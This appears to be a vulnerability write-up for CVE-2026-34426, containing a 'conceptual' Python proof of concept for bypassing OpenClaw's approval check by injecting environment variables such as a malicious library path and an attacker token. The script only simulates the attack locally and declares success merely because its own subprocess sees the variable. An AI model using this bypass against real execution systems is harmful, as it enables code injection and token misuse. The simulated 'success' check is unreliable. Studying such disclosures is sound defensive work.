CVE-2026-34426

# PoC Code for CVE-2026-34426 (Conceptual) # This PoC demonstrates how an attacker can inject environment variables # that bypass the approval check due to normalization inconsistencies. import subprocess import os def exploit_approval_bypass(): # Targeting OpenClaw execution logic # 'MALICIOUS.VAR' might be dropped in approval (non-portable) # but accepted by the execution runner payload = { "MALICIOUS.LIB": "/tmp/evil_lib.so", "GITHUB_TOKEN": "attacker_controlled_token" } print("[*] Attempting to trigger execution with bypassed variables...") # In a real attack, this would be a job submission to OpenClaw # Here we simulate the execution environment accepting the payload env = os.environ.copy() env.update(payload) # Simulating the execution command # If vulnerable, the process will see MALICIOUS.LIB try: # Using 'env' command to list environment variables for verification result = subprocess.run(["env"], env=env, capture_output=True, text=True) if "MALICIOUS.LIB" in result.stdout: print("[+] Exploit successful! Non-standard variable injected.") print(f"[+] Output snippet: {result.stdout[:200]}...") return True else: print("[-] Exploit failed. Variables likely normalized/dropped.") return False except Exception as e: print(f"Error executing PoC: {e}") return False if __name__ == "__main__": exploit_approval_bypass()

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